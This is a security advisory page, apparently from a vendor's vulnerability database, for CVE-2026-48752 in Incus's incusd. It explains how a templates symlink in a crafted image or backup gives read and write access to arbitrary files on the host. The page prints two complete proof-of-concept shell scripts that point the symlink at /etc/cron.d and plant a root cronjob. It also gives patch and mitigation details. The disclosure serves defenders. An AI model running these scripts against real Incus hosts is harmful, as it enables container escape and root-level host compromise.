CVE-2026-48752 — incusd
CRITICALCVE-2026-48752 is a critical-severity (CVSS 9.9) CWE-73 vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.
Incus has arbitrary file read+write on host via templates/ symlink in malicious image
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48752.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-48752 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lxc/incus/v7/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Malicious container image
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Malicious instance backup
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__
mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
name: afrw-backup-templates-symlink
architecture: x86_64
type: container
status: Stopped
status_code: 102
stateful: false
ephemeral: false
profiles:
- default
config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
expanded_config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
devices: {}
expanded_devices:
root:
path: /
pool: default
type: disk
created_at: "2024-01-01T00:00:00Z"
last_used_at: "2024-01-01T00:00:00Z"
volume:
name: afrw-backup-templates-symlink
type: container
content_type: filesystem
config: {}
pool:
name: default
driver: dir
config: {}
__EOF__
cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: afrw-backup-templates-symlink
__EOF__
mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
incus config template ls afrw-backup-templates-symlink
# read
#incus config template show afrw-backup-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7/cmd/incusd | all versions | 7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48752 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-48752 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-48752. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-48752 in your dependencies?
O3 Security finds CVE-2026-48752 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.